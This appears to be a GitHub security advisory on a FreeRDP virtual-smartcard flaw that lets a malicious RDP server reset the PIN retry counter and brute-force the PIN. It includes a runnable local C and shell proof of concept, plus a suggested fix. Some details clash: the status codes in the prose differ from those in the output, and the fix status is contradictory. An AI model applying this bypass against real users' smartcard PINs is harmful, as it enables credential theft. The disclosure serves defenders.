Improper Restriction of Excessive Authentication Attempts in FreeRDP
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
FreeRDP's virtual smartcard implementation stores its three-attempt PIN retry counter in the vgidsContext owned by one SCardHandle. A malicious or compromised RDP server can exhaust that counter with VERIFY APDUs, request another SCardConnect, and receive a new GIDS context whose counter has been restored to three. Repeating connect and transmit operations turns the intended three-attempt limit into an unbounded online test of the PIN configured by /smartcard-logon.
The server needs no account on the client, but the user must connect to the server with virtual smartcard logon enabled and provide a certificate, private key, and PIN. The demonstrated impact is recovery of a low-entropy configured PIN. A successful guess returns 9000 and marks the fresh context as verified, enabling its protected private-key operations for that handle. The report does not claim host compromise or persistence after disconnection.
The virtual GIDS implementation and per-handle state were introduced together before 3.0.0. The behavior is present in 3.0.0-beta1, every inspected stable endpoint from 3.0.0 through 3.31.1, and current master; 2.11.7 does not contain this component. No fixed release is known.
The attached bounded reproducer builds the public 3.31.1 GIDS implementation. On one context, wrong PINs return 63C2, 63C1, 63C0, and then 6983 (blocked). A fresh context immediately returns 63C2 for another wrong PIN, proving the reset. The correct PIN returns 9000, ruling out uniform APDU failure.
Reproduction
Save the following two files in one directory, make run.sh executable, and run it. The script downloads and verifies the public 3.31.1 source archive, builds the real GIDS code, generates a disposable test certificate/key pair, and executes six local APDUs. It does not contact an RDP server or modify a physical smartcard.
<!-- BEGIN FILE: vgids_retry_repro.c -->
#include "smartcard_virtual_gids.h"
#include <stdio.h>
#include <stdlib.h>
static char* read_file(const char* path)
{
FILE* fp = fopen(path, "rb");
if (!fp)
return NULL;
fseek(fp, 0, SEEK_END);
long len = ftell(fp);
rewind(fp);
char* data = calloc((size_t)len + 1, 1);
if (!data || (fread(data, 1, (size_t)len, fp) != (size_t)len))
{
free(data);
data = NULL;
}
fclose(fp);
return data;
}
static unsigned verify(vgidsContext* ctx, const char* pin)
{
BYTE apdu[32] = { 0x00, 0x20, 0x00, 0x80, 0x00 };
BYTE* response = NULL;
DWORD response_size = 0;
size_t len = strlen(pin);
apdu[4] = (BYTE)len;
memcpy(&apdu[5], pin, len);
if (!vgids_process_apdu(ctx, apdu, (DWORD)(5 + len), &response, &response_size) ||
(response_size < 2))
return 0;
unsigned status = ((unsigned)response[response_size - 2] << 8) | response[response_size - 1];
free(response);
return status;
}
static vgidsContext* fresh(const char* cert, const char* key)
{
vgidsContext* ctx = vgids_new();
if (!ctx || !vgids_init(ctx, cert, key, "4321"))
{
vgids_free(ctx);
return NULL;
}
return ctx;
}
int main(int argc, char** argv)
{
if (argc != 3)
return 2;
char* cert = read_file(argv[1]);
char* key = read_file(argv[2]);
vgidsContext* first = fresh(cert, key);
if (!first)
return 3;
unsigned same[4] = { 0 };
same[0] = verify(first, "0000");
same[1] = verify(first, "0001");
same[2] = verify(first, "0002");
same[3] = verify(first, "0003");
printf("same_handle=%04x,%04x,%04x,%04x\n", same[0], same[1], same[2], same[3]);
vgids_free(first);
vgidsContext* second = fresh(cert, key);
if (!second)
return 4;
const unsigned reset = verify(second, "0004");
const unsigned correct = verify(second, "4321");
printf("fresh_handle=%04x correct=%04x\n", reset, correct);
vgids_free(second);
free(cert);
free(key);
return 0;
}<!-- END FILE: vgids_retry_repro.c -->
<!-- BEGIN FILE: run.sh -->
#!/bin/sh
set -eu
VERSION=3.31.1
ARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1
BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORK_DIR=${WORK_DIR:-"$BASE_DIR/.build"}
ARCHIVE="$WORK_DIR/$VERSION.tar.gz"
SOURCE=${SOURCE_DIR:-"$WORK_DIR/FreeRDP-$VERSION"}
BUILD=${BUILD_DIR:-"$WORK_DIR/build"}
mkdir -p "$WORK_DIR"
if { [ -n "${SOURCE_DIR:-}" ] && [ -z "${BUILD_DIR:-}" ]; } ||
{ [ -z "${SOURCE_DIR:-}" ] && [ -n "${BUILD_DIR:-}" ]; }; then
echo "SOURCE_DIR and BUILD_DIR must be supplied together" >&2
exit 2
fi
if [ -z "${SOURCE_DIR:-}" ] || [ -z "${BUILD_DIR:-}" ]; then
if [ ! -f "$ARCHIVE" ]; then
curl -fL --retry 3 -o "$ARCHIVE" \
"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz"
fi
printf '%s %s\n' "$ARCHIVE_SHA256" "$ARCHIVE" | sha256sum -c -
rm -rf "$SOURCE" "$BUILD"
tar -xzf "$ARCHIVE" -C "$WORK_DIR"
if command -v cmake >/dev/null 2>&1; then
CMAKE=cmake
else
CMAKE="python3 -m cmake"
fi
$CMAKE -S "$SOURCE" -B "$BUILD" \
-DCMAKE_BUILD_TYPE=Release \
-DWITH_KRB5=OFF -DWITH_UNICODE_BUILTIN=ON \
-DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF \
-DWITH_VIDEO_FFMPEG=OFF -DWITH_CAIRO=OFF -DWITH_X11=OFF -DWITH_FUSE=OFF \
-DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \
-DWITH_MANPAGES=OFF -DWITH_SAMPLE=OFF -DWITH_TESTING=OFF \
-DWITH_JPEG=OFF -DWITH_WEBP=OFF -DWITH_PNG=OFF
$CMAKE --build "$BUILD" --target freerdp -j"${JOBS:-2}"
fi
GIDS_OBJECT="$BUILD/libfreerdp/CMakeFiles/freerdp.dir/emu/scard/smartcard_virtual_gids.c.o"
FREERDP_LIB="$BUILD/libfreerdp/libfreerdp3.so"
WINPR_LIB="$BUILD/winpr/libwinpr/libwinpr3.so"
test -f "$GIDS_OBJECT"
test -f "$FREERDP_LIB"
test -f "$WINPR_LIB"
test -d "$BUILD/libfreerdp/CMakeFiles/freerdp.dir/crypto"
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout "$WORK_DIR/key.pem" -out "$WORK_DIR/cert.pem" \
-subj /CN=vgids-retry-poc -days 1 >/dev/null 2>&1
CRYPTO_OBJECTS=$(find "$BUILD/libfreerdp/CMakeFiles/freerdp.dir/crypto" -name '*.o' -print)
test -n "$CRYPTO_OBJECTS"
resolve_shared()
{
name=$1
path=$(cc -print-file-name="$name")
if [ "$path" != "$name" ] && [ -f "$path" ]; then
printf '%s\n' "$path"
return
fi
ldconfig -p 2>/dev/null | awk -v n="$name" '$1 == n || index($1, n ".") == 1 { print $NF; exit }'
}
SSL_LIB=$(resolve_shared libssl.so)
CRYPTO_LIB=$(resolve_shared libcrypto.so)
ZLIB_LIB=$(resolve_shared libz.so)
test -f "$SSL_LIB"
test -f "$CRYPTO_LIB"
test -f "$ZLIB_LIB"
# CRYPTO_OBJECTS deliberately expands to the object list produced by this build.
# shellcheck disable=SC2086
cc ${CPPFLAGS:-} -g -O2 \
-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
-I"$BUILD/include" -I"$BUILD/winpr/include" \
-I"$SOURCE/libfreerdp/emu/scard" \
"$BASE_DIR/vgids_retry_repro.c" \
"$GIDS_OBJECT" \
$CRYPTO_OBJECTS \
-o "$WORK_DIR/vgids_retry_repro" \
"$FREERDP_LIB" "$WINPR_LIB" "$SSL_LIB" "$CRYPTO_LIB" "$ZLIB_LIB" \
${LDFLAGS:-} \
-Wl,-rpath,"$BUILD/libfreerdp:$BUILD/winpr/libwinpr" \
-lpthread -ldl -lm
LD_LIBRARY_PATH="$BUILD/libfreerdp:$BUILD/winpr/libwinpr${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
"$WORK_DIR/vgids_retry_repro" "$WORK_DIR/cert.pem" "$WORK_DIR/key.pem" \
| tee "$WORK_DIR/output.txt"
grep -Fx 'same_handle=6302,6301,6300,6983' "$WORK_DIR/output.txt"
grep -Fx 'fresh_handle=6302 correct=9000' "$WORK_DIR/output.txt"<!-- END FILE: run.sh -->
Observed output:
same_handle=6302,6301,6300,6983 fresh_handle=6302 correct=9000 same_handle=6302,6301,6300,6983 fresh_handle=6302 correct=9000
Suggested fix
Move the retry count and blocked state from the disposable per-handle vgidsContext into a longer-lived object representing the configured virtual card or credential. Every handle for that card must reference the same retry state, and disconnecting, reconnecting, establishing another PC/SC context, or creating another handle must not restore attempts. Add regression tests that exhaust a handle and confirm both SCardConnectA and SCardConnectW remain blocked on replacement handles; retain a correct-PIN control before exhaustion.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.0.0GitHub